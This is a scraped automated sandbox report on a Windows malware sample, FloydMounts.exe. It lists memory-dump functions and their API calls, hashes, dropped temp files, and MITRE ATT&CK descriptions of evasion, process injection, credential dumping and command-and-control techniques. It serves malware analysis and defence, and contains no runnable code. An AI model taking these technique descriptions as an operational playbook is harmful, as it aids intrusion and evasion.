Opcode ID: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction ID: 1a9ed36a2184200b2c4207809de51dd63383ef11e438511f25976d68c2c4c44c
Opcode Fuzzy Hash: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction Fuzzy Hash: B4510875D0121AEBCF04DFD8D880ABEBBB5BF49304F148559E815A7380DB75AA40CBA0

Function 00527C59 Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,?), ref: 00527C7B

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction ID: 61256ca83d350627b7da30d65cf3cef906444f5c9718b47c469a59aa684491b7
Opcode Fuzzy Hash: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction Fuzzy Hash: 4031EF75A04108FFCB04DF98D891F9EB7B5FF89310F208598E914AB391D631AE41DB54

Function 00528A99 Relevance: 4.0, APIs: 2, Instructions: 995
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00528319: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00528349

Part of subcall function 00527889: LoadLibraryW.KERNELBASE(?), ref: 005278BA

VirtualProtect.KERNELBASE(?,00000000,?,00000000), ref: 0052966E
VirtualProtect.KERNELBASE(?,00000000,00000000,00000000), ref: 005296A1

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID: ProtectVirtual$AllocGlobalLibraryLoad
String ID:
API String ID: 2510009449-0
Opcode ID: fc275671c2e583b1efe37daa3226513e6a42d11b7222a547ca7e2d980d580fb5
Instruction ID: 1e96384a9c8f6cb0b8ccf6da8557a3ac1c0fc7a584310ce5596155bd414c119b
Opcode Fuzzy Hash: fc275671c2e583b1efe37daa3226513e6a42d11b7222a547ca7e2d980d580fb5
Instruction Fuzzy Hash: C792B6B5E00219EFCB14DB98D995EEEBBB5BF8D300F148199E509A7341E631AE41CF90

Function 00528249 Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0052826B
WriteFile.KERNELBASE(000000FF,00000000,?,00000000,00000000), ref: 00528299

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction ID: 3cc1b8a7d1dcfd1b68c721339a14c4bc5dcc88a9e2cdcf179ea72b5727656a74
Opcode Fuzzy Hash: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction Fuzzy Hash: 6A012D75600508FBCB10DE98DD41FAAB7B9AF89314F208194FA189B2D0DA31EE02DB90

Function 00527889 Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00528319: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00528349

LoadLibraryW.KERNELBASE(?), ref: 005278BA

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
Instruction ID: a814fbdc80f01323a7b5ced241a02a82c043ff7baf718830e5bcfcc30ebdbc5a
Opcode Fuzzy Hash: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
Instruction Fuzzy Hash: FAE0ED75E0020CBBCB40EFA8DD82A9D7BB8AF99701F508194FD0897340E631AE118BA1

Function 005298A9 Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction ID: 476cfc07936c08fcc356a88f4ac1f0d78005aeb94c8ee2ac7ca3b4058a8ed236
Opcode Fuzzy Hash: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction Fuzzy Hash: 5D91EA75D04219EFCF08CF98D880AEEBBB5BF89310F148558E519AB391D734AA41CFA0

Function 00528319 Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00528349

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction ID: 77b8c313cc9d91969edecb637728e5c815c9ed18ed8696dea40afe3a432f55fd
Opcode Fuzzy Hash: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction Fuzzy Hash: D3F04579615208EFCB48DF98D580959B7B5FB4D360F10C299FC198B341D631EE81DB94

Non-executed Functions

Function 00528A49 Relevance: 1.3, Strings: 1, Instructions: 9COMMON

Download Yara Rule

Strings

izR, xrefs: 00528A56

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID:
String ID: izR
API String ID: 0-3908208665
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FloydMounts.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\174436\Produces.com

C:\Users\user\AppData\Local\Temp\174436\U

C:\Users\user\AppData\Local\Temp\Administration

C:\Users\user\AppData\Local\Temp\Array

C:\Users\user\AppData\Local\Temp\Blvd

C:\Users\user\AppData\Local\Temp\Blvd.cmd (copy)

C:\Users\user\AppData\Local\Temp\Briefing

C:\Users\user\AppData\Local\Temp\Commander

C:\Users\user\AppData\Local\Temp\Consultants

C:\Users\user\AppData\Local\Temp\Contribute

C:\Users\user\AppData\Local\Temp\Crimes

C:\Users\user\AppData\Local\Temp\Freight

C:\Users\user\AppData\Local\Temp\Louisville

C:\Users\user\AppData\Local\Temp\Loving

Windows Analysis Report
FloydMounts.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre